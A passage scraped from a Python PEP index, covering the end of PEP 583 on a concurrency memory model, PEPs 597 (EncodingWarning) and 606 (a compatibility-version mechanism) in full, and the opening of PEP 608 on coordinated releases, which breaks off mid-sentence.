list, and maybe a __finals__ list. Sequential Consistency We could just adopt sequential consistency for Python. This avoids all of the hazards mentioned above, but it prohibits lots of optimizations too. As far as I know, this is the current model of CPython, but if CPython learned to optimize out some variable reads, it would lose this property. If we adopt this, Jython’s dict implementation may no longer be able to use ConcurrentHashMap because that only promises to create appropriate happens-before edges, not to be sequentially consistent (although maybe the fact that Java volatiles are totally ordered carries over). Both Jython and IronPython would probably need to use AtomicReferenceArray or the equivalent for any __slots__ arrays. Adapt the x86 model The x86 model is: Loads are not reordered with other loads. Stores are not reordered with other stores. Stores are not reordered with older loads. Loads may be reordered with older stores to different locations but not with older stores to the same location. In a multiprocessor system, memory ordering obeys causality (memory ordering respects transitive visibility). In a multiprocessor system, stores to the same location have a total order. In a multiprocessor system, locked instructions have a total order. Loads and stores are not reordered with locked instructions. In acquire/release terminology, this appears to say that every store is a release and every load is an acquire. This is slightly weaker than sequential consistency, in that it allows inconsistent orderings, but it disallows zombie values and the compiler optimizations that produce them. We would probably want to weaken the model somehow to explicitly allow compilers to eliminate redundant variable reads. The x86 model may also be expensive to implement on other platforms, although because x86 is so common, that may not matter much. Upgrading or downgrading to an alternate model We can adopt an initial memory model without totally restricting future implementations. If we start with a weak model and want to get stronger later, we would only have to change the implementations, not programs. Individual implementations could also guarantee a stronger memory model than the language demands, although that could hurt interoperability. On the other hand, if we start with a strong model and want to weaken it later, we can add a from __future__ import weak_memory statement to declare that some modules are safe. Implementation Details The required model is weaker than any particular implementation. This section tries to document the actual guarantees each implementation provides, and should be updated as the implementations change. CPython Uses the GIL to guarantee that other threads don’t see funny reorderings, and does few enough optimizations that I believe it’s actually sequentially consistent at the bytecode level. Threads can switch between any two bytecodes (instead of only between statements), so two threads that concurrently execute: i = i + 1 with i initially 0 could easily end up with i==1 instead of the expected i==2. If they execute: i += 1 instead, CPython 2.6 will always give the right answer, but it’s easy to imagine another implementation in which this statement won’t be atomic. PyPy Also uses a GIL, but probably does enough optimization to violate sequential consistency. I know very little about this implementation. Jython Provides true concurrency under the Java memory model and stores all object fields (except for those in __slots__?) in a ConcurrentHashMap, which provides fairly strong ordering guarantees. Local variables in a function may have fewer guarantees, which would become visible if they were captured into a closure that was then passed to another thread. IronPython Provides true concurrency under the CLR memory model, which probably protects it from uninitialized values. IronPython uses a locked map to store object fields, providing at least as many guarantees as Jython. References [1] The Java Memory Model, by Jeremy Manson, Bill Pugh, and Sarita Adve (http://www.cs.umd.edu/users/jmanson/java/journal.pdf). This paper is an excellent introduction to memory models in general and has lots of examples of compiler/processor optimizations and the strange program behaviors they can produce. [2] N2480: A Less Formal Explanation of the Proposed C++ Concurrency Memory Model, Hans Boehm (http://www.open-std.org/jtc1/sc22/wg21/docs/papers/2007/n2480.html) [3] Memory Models: Understand the Impact of Low-Lock Techniques in Multithreaded Apps, Vance Morrison (http://msdn2.microsoft.com/en-us/magazine/cc163715.aspx) [4] Intel(R) 64 Architecture Memory Ordering White Paper (http://www.intel.com/products/processor/manuals/318147.pdf) [5] Package java.util.concurrent.atomic (http://java.sun.com/javase/6/docs/api/java/util/concurrent/atomic/package-summary.html) [6] C++ Atomic Types and Operations, Hans Boehm and Lawrence Crowl (http://www.open-std.org/jtc1/sc22/wg21/docs/papers/2007/n2427.html) [7] __slots__ (http://docs.python.org/ref/slots.html) [8] Alternatives to SC, a thread on the cpp-threads mailing list, which includes lots of good examples. (http://www.decadentplace.org.uk/pipermail/cpp-threads/2007-January/001287.html) [9] python-safethread, a patch by Adam Olsen for CPython that removes the GIL and statically guarantees that all objects shared between threads are consistently locked. (http://code.google.com/p/python-safethread/) Acknowledgements Thanks to Jeremy Manson and Alex Martelli for detailed discussions on what this PEP should look like. Copyright This document has been placed in the public domain.

Withdrawn

PEP 583 – A Concurrency Memory Model for Python

Informational

This PEP describes how Python programs may behave in the presence of concurrent reads and writes to shared variables from multiple threads. We use a happens before relation to define when variable accesses are ordered or concurrent. Nearly all programs should simply use locks to guard their shared variables, and this PEP highlights some of the strange things that can happen when they don’t, but programmers often assume that it’s ok to do “simple” things without locking, and it’s somewhat unpythonic to let the language surprise them. Unfortunately, avoiding surprise often conflicts with making Python run quickly, so this PEP tries to find a good tradeoff between the two.

PEP 597 – Add optional EncodingWarning Author: Inada Naoki <songofacandy at gmail.com> Status: Final Type: Standards Track Created: 05-Jun-2019 Python-Version: 3.10 Table of Contents Abstract Motivation Using the default encoding is a common mistake Explicit way to use locale-specific encoding Prepare to change the default encoding to UTF-8 Specification EncodingWarning Options to enable the warning encoding="locale" io.text_encoding() Affected standard library modules Rationale Opt-in warning “locale” is not a codec alias Backward Compatibility Forward Compatibility How to Teach This For new users For experienced users Reference Implementation Discussions References Copyright Abstract Add a new warning category EncodingWarning. It is emitted when the encoding argument to open() is omitted and the default locale-specific encoding is used. The warning is disabled by default. A new -X warn_default_encoding command-line option and a new PYTHONWARNDEFAULTENCODING environment variable can be used to enable it. A "locale" argument value for encoding is added too. It explicitly specifies that the locale encoding should be used, silencing the warning. Motivation Using the default encoding is a common mistake Developers using macOS or Linux may forget that the default encoding is not always UTF-8. For example, using long_description = open("README.md").read() in setup.py is a common mistake. Many Windows users cannot install such packages if there is at least one non-ASCII character (e.g. emoji, author names, copyright symbols, and the like) in their UTF-8-encoded README.md file. Of the 4000 most downloaded packages from PyPI, 489 use non-ASCII characters in their README, and 82 fail to install from source on non-UTF-8 locales due to not specifying an encoding for a non-ASCII file. [1] Another example is logging.basicConfig(filename="log.txt"). Some users might expect it to use UTF-8 by default, but the locale encoding is actually what is used. [2] Even Python experts may assume that the default encoding is UTF-8. This creates bugs that only happen on Windows; see [3], [4], [5], and [6] for example. Emitting a warning when the encoding argument is omitted will help find such mistakes. Explicit way to use locale-specific encoding open(filename) isn’t explicit about which encoding is expected: If ASCII is assumed, this isn’t a bug, but may result in decreased performance on Windows, particularly with non-Latin-1 locale encodings If UTF-8 is assumed, this may be a bug or a platform-specific script If the locale encoding is assumed, the behavior is as expected (but could change if future versions of Python modify the default) From this point of view, open(filename) is not readable code. encoding=locale.getpreferredencoding(False) can be used to specify the locale encoding explicitly, but it is too long and easy to misuse (e.g. one can forget to pass False as its argument). This PEP provides an explicit way to specify the locale encoding. Prepare to change the default encoding to UTF-8 Since UTF-8 has become the de-facto standard text encoding, we might default to it for opening files in the future. However, such a change will affect many applications and libraries. If we start emitting DeprecationWarning everywhere the encoding argument is omitted, it will be too noisy and painful. Although this PEP doesn’t propose changing the default encoding, it will help enable that change by: Reducing the number of omitted encoding arguments in libraries before we start emitting a DeprecationWarning by default. Allowing users to pass encoding="locale" to suppress the current warning and any DeprecationWarning added in the future, as well as retaining consistent behavior if later Python versions change the default, ensuring support for any Python version >=3.10. Specification EncodingWarning Add a new EncodingWarning warning class as a subclass of Warning. It is emitted when the encoding argument is omitted and the default locale-specific encoding is used. Options to enable the warning The -X warn_default_encoding option and the PYTHONWARNDEFAULTENCODING environment variable are added. They are used to enable EncodingWarning. sys.flags.warn_default_encoding is also added. The flag is true when EncodingWarning is enabled. When the flag is set, io.TextIOWrapper(), open() and other modules using them will emit EncodingWarning when the encoding argument is omitted. Since EncodingWarning is a subclass of Warning, they are shown by default (if the warn_default_encoding flag is set), unlike DeprecationWarning. encoding="locale" io.TextIOWrapper will accept "locale" as a valid argument to encoding. It has the same meaning as the current encoding=None, except that io.TextIOWrapper doesn’t emit EncodingWarning when encoding="locale" is specified. io.text_encoding() io.text_encoding() is a helper for functions with an encoding=None parameter that pass it to io.TextIOWrapper() or open(). A pure Python implementation will look like this: def text_encoding(encoding, stacklevel=1): """A helper function to choose the text encoding. When *encoding* is not None, just return it. Otherwise, return the default text encoding (i.e. "locale"). This function emits an EncodingWarning if *encoding* is None and sys.flags.warn_default_encoding is true. This function can be used in APIs with an encoding=None parameter that pass it to TextIOWrapper or open. However, please consider using encoding="utf-8" for new APIs. """ if encoding is None: if sys.flags.warn_default_encoding: import warnings warnings.warn( "'encoding' argument not specified.", EncodingWarning, stacklevel + 2) encoding = "locale" return encoding For example, pathlib.Path.read_text() can use it like this: def read_text(self, encoding=None, errors=None): encoding = io.text_encoding(encoding) with self.open(mode='r', encoding=encoding, errors=errors) as f: return f.read() By using io.text_encoding(), EncodingWarning is emitted for the caller of read_text() instead of read_text() itself. Affected standard library modules Many standard library modules will be affected by this change. Most APIs accepting encoding=None will use io.text_encoding() as written in the previous section. Where using the locale encoding as the default encoding is reasonable, encoding="locale" will be used instead. For example, the subprocess module will use the locale encoding as the default for pipes. Many tests use open() without encoding specified to read ASCII text files. They should be rewritten with encoding="ascii". Rationale Opt-in warning Although DeprecationWarning is suppressed by default, always emitting DeprecationWarning when the encoding argument is omitted would be too noisy. Noisy warnings may lead developers to dismiss the DeprecationWarning. “locale” is not a codec alias We don’t add “locale” as a codec alias because the locale can be changed at runtime. Additionally, TextIOWrapper checks os.device_encoding() when encoding=None. This behavior cannot be implemented in a codec. Backward Compatibility The new warning is not emitted by default, so this PEP is 100% backwards-compatible. Forward Compatibility Passing "locale" as the argument to encoding is not forward-compatible. Code using it will not work on Python older than 3.10, and will instead raise LookupError: unknown encoding: locale. Until developers can drop Python 3.9 support, EncodingWarning can only be used for finding missing encoding="utf-8" arguments. How to Teach This For new users Since EncodingWarning is used to write cross-platform code, there is no need to teach it to new users. We can just recommend using UTF-8 for text files and using encoding="utf-8" when opening them. For experienced users Using open(filename) to read text files encoded in UTF-8 is a common mistake. It may not work on Windows because UTF-8 is not the default encoding. You can use -X warn_default_encoding or PYTHONWARNDEFAULTENCODING=1 to find this type of mistake. Omitting the encoding argument is not a bug when opening text files encoded in the locale encoding, but encoding="locale" is recommended in Python 3.10 and later because it is more explicit. Reference Implementation https://github.com/python/cpython/pull/19481 Discussions The latest discussion thread is: https://mail.python.org/archives/list/python-dev@python.org/thread/SFYUP2TWD5JZ5KDLVSTZ44GWKVY4YNCV/ Why not implement this in linters? encoding="locale" and io.text_encoding() must be implemented in Python. It is difficult to find all callers of functions wrapping open() or TextIOWrapper() (see the io.text_encoding() section). Many developers will not use the option. Some will, and report the warnings to libraries they use, so the option is worth it even if many developers don’t enable it. For example, I found [7] and [8] by running pip install -U pip, and [9] by running tox with the reference implementation. This demonstrates how this option can be used to find potential issues. References [1] “Packages can’t be installed when encoding is not UTF-8” (https://github.com/methane/pep597-pypi-ascii) [2] “Logging - Inconsistent behaviour when handling unicode” (https://bugs.python.org/issue37111) [3] Packaging tutorial in packaging.python.org didn’t specify encoding to read a README.md (https://github.com/pypa/packaging.python.org/pull/682) [4] json.tool had used locale encoding to read JSON files. (https://bugs.python.org/issue33684) [5] site: Potential UnicodeDecodeError when handling pth file (https://bugs.python.org/issue33684) [6] pypa/pip: “Installing packages fails if Python 3 installed into path with non-ASCII characters” (https://github.com/pypa/pip/issues/9054) [7] “site: Potential UnicodeDecodeError when handling pth file” (https://bugs.python.org/issue43214) [8] “[pypa/pip] Use encoding option or binary mode for open()” (https://github.com/pypa/pip/pull/9608) [9] “Possible UnicodeError caused by missing encoding=”utf-8”” (https://github.com/tox-dev/tox/issues/1908) Copyright This document is placed in the public domain or under the CC0-1.0-Universal license, whichever is more permissive.

Final

PEP 597 – Add optional EncodingWarning

Standards Track

Add a new warning category EncodingWarning. It is emitted when the encoding argument to open() is omitted and the default locale-specific encoding is used.

PEP 606 – Python Compatibility Version Author: Victor Stinner <vstinner at python.org> Status: Rejected Type: Standards Track Created: 18-Oct-2019 Python-Version: 3.9 Table of Contents Abstract Rationale The need to evolve frequently Partial compatibility to minimize the Python maintenance burden Cases excluded from backward compatibility Upgrading a project to a newer Python Cleaning up Python and DeprecationWarning Redistribute the maintenance burden Examples of backward compatibility collections ABC aliases Deprecated open() “U” mode Specification sys functions Command line Backwards Compatibility Security Implications Alternatives Provide a workaround for each incompatible change Handle backward compatibility in the parser from __future__ import python38_syntax Update cache_tag Temporary moratorium on incompatible changes PEP 387 PEP 497 Examples of incompatible changes Python 3.8 Python 3.7 Micro releases References Copyright Abstract Add sys.set_python_compat_version(version) to enable partial compatibility with requested Python version. Add sys.get_python_compat_version(). Modify a few functions in the standard library to implement partial compatibility with Python 3.8. Add sys.set_python_min_compat_version(version) to deny backward compatibility with Python versions older than version. Add -X compat_version=VERSION and -X min_compat_version=VERSION command line options. Add PYTHONCOMPATVERSION and PYTHONCOMPATMINVERSION environment variables. Rationale The need to evolve frequently To remain relevant and useful, Python has to evolve frequently; some enhancements require incompatible changes. Any incompatible change can break an unknown number of Python projects. Developers can decide to not implement a feature because of that. Users want to get the latest Python version to obtain new features and better performance. A few incompatible changes can prevent them from using their applications on the latest Python version. This PEP proposes to add a partial compatibility with old Python versions as a tradeoff to fit both use cases. The main issue with the migration from Python 2 to Python 3 is not that Python 3 is backward incompatible, but how incompatible changes were introduced. Partial compatibility to minimize the Python maintenance burden While technically it would be possible to provide full compatibility with old Python versions, this PEP proposes to minimize the number of functions handling backward compatibility to reduce the maintenance burden of the Python project (CPython). Each change introducing backport compatibility to a function should be properly discussed to estimate the maintenance cost in the long-term. Backward compatibility code will be dropped on each Python release, on a case-by-case basis. Each compatibility function can be supported for a different number of Python releases depending on its maintenance cost and the estimated risk (number of broken projects) if it’s removed. The maintenance cost does not only come from the code implementing the backward compatibility, but also comes from the additional tests. Cases excluded from backward compatibility The performance overhead of any compatibility code must be low when sys.set_python_compat_version() is not called. The C API is out of the scope of this PEP: Py_LIMITED_API macro and the stable ABI are solving this problem differently, see the PEP 384: Defining a Stable ABI. Security fixes which break backward compatibility on purpose will not get a compatibility layer; security matters more than compatibility. For example, http.client.HTTPSConnection was modified in Python 3.4.3 to performs all the necessary certificate and hostname checks by default. It was a deliberate change motivated by PEP 476: Enabling certificate verification by default for stdlib http clients (bpo-22417). The Python language does not provide backward compatibility. Changes which are not clearly incompatible are not covered by this PEP. For example, Python 3.9 changed the default protocol in the pickle module to Protocol 4 which was first introduced in Python 3.4. This change is backward compatible up to Python 3.4. There is no need to use the Protocol 3 by default when compatibility with Python 3.8 is requested. The new DeprecationWarning and PendingDeprecatingWarning warnings in Python 3.9 will not be disabled in Python 3.8 compatibility mode. If a project runs its test suite using -Werror (treat any warning as an error), these warnings must be fixed, or specific deprecation warnings must be ignored on a case-by-case basis. Upgrading a project to a newer Python Without backward compatibility, all incompatible changes must be fixed at once, which can be a blocker issue. It is even worse when a project is upgraded to a newer Python which is separated by multiple releases from the old Python. Postponing an upgrade only makes things worse: each skipped release adds more incompatible changes. The technical debt only steadily increases over time. With backward compatibility, it becomes possible to upgrade Python increamentally in a project, without having to fix all of the issues at once. The “all-or-nothing” is a showstopper to port large Python 2 code bases to Python 3. The list of incompatible changes between Python 2 and Python 3 is long, and it’s getting longer with each Python 3.x release. Cleaning up Python and DeprecationWarning One of the Zen of Python (PEP 20) motto is: There should be one– and preferably only one –obvious way to do it. When Python evolves, new ways inevitably emerge. DeprecationWarnings are emitted to suggest using the new way, but many developers ignore these warnings, which are silent by default (except in the __main__ module: see the PEP 565). Some developers simply ignore all warnings when there are too many warnings, thus only bother with exceptions when the deprecated code is removed. Sometimes, supporting both ways has a minor maintenance cost, but developers prefer to drop the old way to clean up their code. These kinds of changes are backward incompatible. Some developers can take the end of the Python 2 support as an opportunity to push even more incompatible changes than usual. Adding an opt-in backward compatibility prevents the breaking of applications and allows developers to continue doing these cleanups. Redistribute the maintenance burden The backward compatibility involves authors of incompatible changes more in the upgrade path. Examples of backward compatibility collections ABC aliases collections.abc aliases to ABC classes have been removed from the collections module in Python 3.9, after being deprecated since Python 3.3. For example, collections.Mapping no longer exists. In Python 3.6, aliases were created in collections/__init__.py by from _collections_abc import *. In Python 3.7, a __getattr__() has been added to the collections module to emit a DeprecationWarning upon first access to an attribute: def __getattr__(name): # For backwards compatibility, continue to make the collections ABCs # through Python 3.6 available through the collections module. # Note: no new collections ABCs were added in Python 3.7 if name in _collections_abc.__all__: obj = getattr(_collections_abc, name) import warnings warnings.warn("Using or importing the ABCs from 'collections' instead " "of from 'collections.abc' is deprecated since Python 3.3, " "and in 3.9 it will be removed.", DeprecationWarning, stacklevel=2) globals()[name] = obj return obj raise AttributeError(f'module {__name__!r} has no attribute {name!r}') Compatibility with Python 3.8 can be restored in Python 3.9 by adding back the __getattr__() function, but only when backward compatibility is requested: def __getattr__(name): if (sys.get_python_compat_version() < (3, 9) and name in _collections_abc.__all__): ... raise AttributeError(f'module {__name__!r} has no attribute {name!r}') Deprecated open() “U” mode The "U" mode of open() is deprecated since Python 3.4 and emits a DeprecationWarning. bpo-37330 proposes to drop this mode: open(filename, "rU") would raise an exception. This change falls into the “cleanup” category: it is not required to implement a feature. A backward compatibility mode would be trivial to implement and would be welcomed by users. Specification sys functions Add 3 functions to the sys module: sys.set_python_compat_version(version): set the Python compatibility version. If it has been called previously, use the minimum of requested versions. Raise an exception if sys.set_python_min_compat_version(min_version) has been called and version < min_version. version must be greater than or equal to (3, 0). sys.set_python_min_compat_version(min_version): set the minimum compatibility version. Raise an exception if sys.set_python_compat_version(old_version) has been called previously and old_version < min_version. min_version must be greater than or equal to (3, 0). sys.get_python_compat_version(): get the Python compatibility version. Return a tuple of 3 integers. A version must a tuple of 2 or 3 integers. (major, minor) version is equivalent to (major, minor, 0). By default, sys.get_python_compat_version() returns the current Python version. For example, to request compatibility with Python 3.8.0: import collections sys.set_python_compat_version((3, 8)) # collections.Mapping alias, removed from Python 3.9, is available # again, even if collections has been imported before calling # set_python_compat_version(). parent = collections.Mapping Obviously, calling sys.set_python_compat_version(version) has no effect on code executed before the call. Use -X compat_version=VERSION command line option or PYTHONCOMPATVERSIONVERSION=VERSION environment variable to set the compatibility version at Python startup. Command line Add -X compat_version=VERSION and -X min_compat_version=VERSION command line options: call respectively sys.set_python_compat_version() and sys.set_python_min_compat_version(). VERSION is a version string with 2 or 3 numbers (major.minor.micro or major.minor). For example, -X compat_version=3.8 calls sys.set_python_compat_version((3, 8)). Add PYTHONCOMPATVERSIONVERSION=VERSION and PYTHONCOMPATMINVERSION=VERSION=VERSION environment variables: call respectively sys.set_python_compat_version() and sys.set_python_min_compat_version(). VERSION is a version string with the same format as the command line options. Backwards Compatibility Introducing the sys.set_python_compat_version() function means that an application will behave differently depending on the compatibility version. Moreover, since the version can be decreased multiple times, the application can behave differently depending on the import order. Python 3.9 with sys.set_python_compat_version((3, 8)) is not fully compatible with Python 3.8: the compatibility is only partial. Security Implications sys.set_python_compat_version() must not disable security fixes. Alternatives Provide a workaround for each incompatible change An application can work around most incompatible changes which impacts it. For example, collections aliases can be added back using: import collections.abc collections.Mapping = collections.abc.Mapping collections.Sequence = collections.abc.Sequence Handle backward compatibility in the parser The parser is modified to support multiple versions of the Python language (grammar). The current Python parser cannot be easily modified for that. AST and grammar are hardcoded to a single Python version. In Python 3.8, compile() has an undocumented _feature_version to not consider async and await as keywords. The latest major language backward incompatible change was Python 3.7 which made async and await real keywords. It seems like Twisted was the only affected project, and Twisted had a single affected function (it used a parameter called async). Handling backward compatibility in the parser seems quite complex, not only to modify the parser, but also for developers who have to check which version of the Python language is used. from __future__ import python38_syntax Add pythonXY_syntax to the __future__ module. It would enable backward compatibility with Python X.Y syntax, but only for the current file. With this option, there is no need to change sys.implementation.cache_tag to use a different .pyc filename, since the parser will always produce the same output for the same input (except for the optimization level). For example: from __future__ import python35_syntax async = 1 await = 2 Update cache_tag Modify the parser to use sys.get_python_compat_version() to choose the version of the Python language. sys.set_python_compat_version() updates sys.implementation.cache_tag to include the compatibility version without the micro version as a suffix. For example, Python 3.9 uses 'cpython-39' by default, but sys.set_python_compat_version((3, 7, 2)) sets cache_tag to 'cpython-39-37'. Changes to the Python language are now allowed in micro releases. One problem is that import asyncio is likely to fail if sys.set_python_compat_version((3, 6)) has been called previously. The code of the asyncio module requires async and await to be real keywords (change done in Python 3.7). Another problem is that regular users cannot write .pyc files into system directories, and so cannot create them on demand. It means that .pyc optimization cannot be used in the backward compatibility mode. One solution for that is to modify the Python installer and Python package installers to precompile .pyc files not only for the current Python version, but also for multiple older Python versions (up to Python 3.0?). Each .py file would have 3n .pyc files (3 optimization levels), where n is the number of supported Python versions. For example, it means 6 .pyc files, instead of 3, to support Python 3.8 and Python 3.9. Temporary moratorium on incompatible changes In 2009, PEP 3003 “Python Language Moratorium” proposed a temporary moratorium (suspension) of all changes to the Python language syntax, semantics, and built-ins for Python 3.1 and Python 3.2. In May 2018, during the PEP 572 discussions, it was also proposed to slow down Python changes: see the python-dev thread Slow down… Barry Warsaw’s call on this: I don’t believe that the way for Python to remain relevant and useful for the next 10 years is to cease all language evolution. Who knows what the computing landscape will look like in 5 years, let alone 10? Something as arbitrary as a 10-year moratorium is (again, IMHO) a death sentence for the language. PEP 387 PEP 387 – Backwards Compatibility Policy proposes a process to make incompatible changes. The main point is the 4th step of the process: See if there’s any feedback. Users not involved in the original discussions may comment now after seeing the warning. Perhaps reconsider. PEP 497 PEP 497 – A standard mechanism for backward compatibility proposes different solutions to provide backward compatibility. Except for the __past__ mechanism idea, PEP 497 does not propose concrete solutions: When an incompatible change to core language syntax or semantics is being made, Python-dev’s policy is to prefer and expect that, wherever possible, a mechanism for backward compatibility be considered and provided for future Python versions after the breaking change is adopted by default, in addition to any mechanisms proposed for forward compatibility such as new future_statements. Examples of incompatible changes Python 3.8 Examples of Python 3.8 incompatible changes: (During beta phase) PyCode_New() required a new parameter: it broke all Cython extensions (all projects distributing precompiled Cython code). This change has been reverted during the 3.8 beta phase and a new PyCode_NewWithPosOnlyArgs() function was added instead. types.CodeType requires an additional mandatory parameter. The CodeType.replace() function was added to help projects to no longer depend on the exact signature of the CodeType constructor. C extensions are no longer linked to libpython. sys.abiflags changed from 'm' to an empty string. For example, python3.8m program is gone. The C structure PyInterpreterState was made opaque. Blender: https://bugzilla.redhat.com/show_bug.cgi?id=1734980#c6 https://developer.blender.org/D6038 XML attribute order: bpo-34160. Broken projects: coverage docutils pcs python-glyphsLib Backward compatibility cannot be added for all these changes. For example, changes in the C API and in the build system are out of the scope of this PEP. See What’s New In Python 3.8: API and Feature Removals for all changes. See also the Porting to Python 3.8 section of What’s New In Python 3.8. Python 3.7 Examples of Python 3.7 incompatible changes: async and await are now reserved keywords. Several undocumented internal imports were removed. One example is that os.errno is no longer available; use import errno directly instead. Note that such undocumented internal imports may be removed any time without notice, even in micro version releases. Unknown escapes consisting of '\' and an ASCII letter in replacement templates for re.sub() were deprecated in Python 3.5, and will now cause an error. The asyncio.windows_utils.socketpair() function has been removed: it was an alias to socket.socketpair(). asyncio no longer exports the selectors and _overlapped modules as asyncio.selectors and asyncio._overlapped. Replace from asyncio import selectors with import selectors. PEP 479 is enabled for all code in Python 3.7, meaning that StopIteration exceptions raised directly or indirectly in coroutines and generators are transformed into RuntimeError exceptions. socketserver.ThreadingMixIn.server_close() now waits until all non-daemon threads complete. Set the new block_on_close class attribute to False to get the pre-3.7 behaviour. The struct.Struct.format type is now str instead of bytes. repr for datetime.timedelta has changed to include the keyword arguments in the output. tracemalloc.Traceback frames are now sorted from oldest to most recent to be more consistent with traceback. Adding backward compatibility for most of these changes would be easy. See also the Porting to Python 3.7 section of What’s New In Python 3.7. Micro releases Sometimes, incompatible changes are introduced in micro releases (micro in major.minor.micro) to fix bugs or security vulnerabilities. Examples include: Python 3.7.2, compileall and py_compile module: the invalidation_mode parameter’s default value is updated to None; the SOURCE_DATE_EPOCH environment variable no longer overrides the value of the invalidation_mode argument, and determines its default value instead. Python 3.7.1, xml modules: the SAX parser no longer processes general external entities by default to increase security by default. Python 3.5.2, os.urandom(): on Linux, if the getrandom() syscall blocks (the urandom entropy pool is not initialized yet), fall back on reading /dev/urandom. Python 3.5.1, sys.setrecursionlimit(): a RecursionError exception is now raised if the new limit is too low at the current recursion depth. Python 3.4.4, ssl.create_default_context(): RC4 was dropped from the default cipher string. Python 3.4.3, http.client: HTTPSConnection now performs all the necessary certificate and hostname checks by default. Python 3.4.2, email.message: EmailMessage.is_attachment() is now a method instead of a property, for consistency with Message.is_multipart(). Python 3.4.1, os.makedirs(name, mode=0o777, exist_ok=False): Before Python 3.4.1, if exist_ok was True and the directory existed, makedirs() would still raise an error if mode did not match the mode of the existing directory. Since this behavior was impossible to implement safely, it was removed in Python 3.4.1 (bpo-21082). Examples of changes made in micro releases which are not backward incompatible: ssl.OP_NO_TLSv1_3 constant was added to 2.7.15, 3.6.3 and 3.7.0 for backwards compatibility with OpenSSL 1.0.2. typing.AsyncContextManager was added to Python 3.6.2. The zipfile module accepts a path-like object since Python 3.6.2. loop.create_future() was added to Python 3.5.2 in the asyncio module. No backward compatibility code is needed for these kinds of changes. References Accepted PEPs: PEP 5 – Guidelines for Language Evolution PEP 236 – Back to the __future__ PEP 411 – Provisional packages in the Python standard library PEP 3002 – Procedure for Backwards-Incompatible Changes Draft PEPs: PEP 602 – Annual Release Cycle for Python PEP 605 – A rolling feature release stream for CPython See also withdrawn PEP 598 – Introducing incremental feature releases Copyright This document is placed in the public domain or under the CC0-1.0-Universal license, whichever is more permissive.

Rejected

PEP 606 – Python Compatibility Version

Standards Track

Add sys.set_python_compat_version(version) to enable partial compatibility with requested Python version. Add sys.get_python_compat_version().

PEP 608 – Coordinated Python release Author: Miro Hrončok <miro at hroncok.cz>, Victor Stinner <vstinner at python.org> Status: Rejected Type: Standards Track Created: 25-Oct-2019 Python-Version: 3.9 Table of Contents Abstract Rationale Too few projects are involved in the Python beta phase DeprecationWarning is being ignored Need to coordinate Shorter Python release schedule Specification Limit the delay Selected projects How projects are selected Incompatible changes Examples Cleaning up Python and DeprecationWarning Distributed CI Copyright Abstract Block a Python release until a compatible version of selected projects is available. The Python release manager can decide to release Python even if a project is not compatible, if they decide that the project is going to be fixed soon enough, or if the issue severity is low enough. Rationale The PEP involves maintainers of the selected projects in the Python release cycle. There are multiple benefit: Detect more bugs before a Python final release Discuss and maybe revert incompatible changes before a Python final release Increase the number of compatible projects when the new Python final version is released Too few projects are involved in the Python beta phase Currently, Python beta versions are available four months before the final 3.x.0 release. Bugs reported during the beta phase can be easily fixed and can block a release if they are serious enough. Incompatible changes are discussed during the beta phase: enhance documentation explaining how to update code, or consider to revert these changes. Even if more and more projects are tested on the master branch of Python in their CI, too many projects of the top 50 PyPI projects are only compatible with the new Python a few weeks, or even months, after the final Python release. DeprecationWarning is being ignored Python has well defined process to deprecate features. A DeprecationWarning must be emitted during at least one Python release, before a feature can be removed. In practice, DeprecationWarning warnings are ignored for years in major Python projects. Usually, maintainers explain that there are too many warnings and so they simply ignore warnings. Moreover, DeprecationWarning is silent by default (except in the __main__ module: PEP 565). Even if more and more projects are running their test suite with warnings treated as errors (-Werror), Python core developers still have no idea how many projects are broken when a feature is removed. Need to coordinate When issues and incompatible changes are discovered and discussed after the final Python release, it becomes way more complicated and expensive to fix Python. Once an API is part of an official final release, Python should provide backward compatibility for the whole 3.x release lifetime. Some operating systems can be shipped with the buggy final release and can take several months before being updated. Too many projects are only updated to the new Python after the final Python release, which makes this new Python version barely usable to run large applications when Python is released. It is proposed to block a Python release until a compatible version of all selected projects is available. Shorter Python release schedule The PEP 602: Annual Release Cycle for Python and the PEP 605: A rolling feature release stream for CPython would like to release Python more often to ship new features more quickly. The problem is that each Python 3.x release breaks many projects. Coordinated Python releases reduces the number of broken projects and makes new Python release more usable. Specification By default, a Python release is blocked until a compatible version of all selected projects is available. Before releasing the final Python version, the Python release manager is responsible to send a report of the compatibility status of each project of the selected projects. It is recommended to send such report at each beta release to see the evolution and detects issues as soon as possible. The Python release manager can decide to release Python even if a project is not compatible, if they decide that the project is going to be fixed soon enough, or if the issue severity is low enough. After each Python release, the project list can be updated to remove projects and add new ones. For example, to remove old unused dependencies and add new ones. The list can grow if the whole process doesn’t block Python releases for too long. Limit the delay When a build or test issue with the next Python version is reported to a project, maintainers have one month to answer. With no answer, the project can be excluded from the list of projects blocking the Python release. Multiple projects are already tested on the master branch of Python in a CI. Problems can be detected very early in a Python release which should provide enough time to handle them. More CI can be added for projects which are not tested on the next Python yet. Once selected projects issues are known, exceptions can be discussed between the Python release manager and involved project maintainers on a case-by-case basis. Not all issues deserve to block a Python release. Selected projects List of projects blocking a Python release (total: 27): Projects (13): aiohttp cryptography Cython Django numpy pandas pip requests scipy Sphinx (needed to build Python) sqlalchemy pytest tox Direct and indirect dependencies (14): certifi (needed by urllib3) cffi (needed by cryptography) chardet (needed by Sphinx) colorama (needed by pip) docutils (needed by Sphinx) idna (needed by Sphinx and requests) jinja2 (needed by Sphinx) MarkupSafe (needed by Sphinx) psycopg2 (needed by Django) pycparser (needed by cffi) setuptools (needed by pip and tons of Python projects) six (needed by tons of Python projects) urllib3 (needed by requests) wheel (needed by pip) How projects are selected Projects used by to build Python should be in the list, like Sphinx. Most popular projects are picked from the most downloaded PyPI projects. Most of project dependencies are included in the list as well, since a single incompatible dependency can block a whole project. Some dependencies are excluded to reduce the list length. Test dependencies as pytest and tox should be included as well. If a project cannot be tested, a new version cannot be shipped neither. The list should be long enough to have a good idea of the cost of porting a project to the next Python, but small enough to not block a Python release for too long. Obviously, projects which are not part of the list also are encouraged to report issues with the next Python and to have a CI running on the next Python version. Incompatible changes The definition here is large: any Python change which cause an issue when building or testing a project. See also the PEP 606: Python Compatibility Version for more examples of incompatible changes. Examples There are different kinds of incompatible changes: Change in the Python build. For example, Python 3.8 removed 'm' (which stands for pymalloc) from sys.abiflags which impacts Python vendors like Linux distributions. Change in the C extensions build. For example, Python 3.8 no longer links C extensions to libpython, and Python 3.7 removed os.errno alias to the errno module. Removed function. For example, collections aliases to ABC classes have been removed in Python 3.9. Changed function signature: Reject a type which was previously accepted (ex: only accept int, reject float). Add a new mandatory parameter. Convert a positional-or-keyword parameter to positional-only. Behavior change. For example, Python 3.8 now serializes XML attributes in their insertion 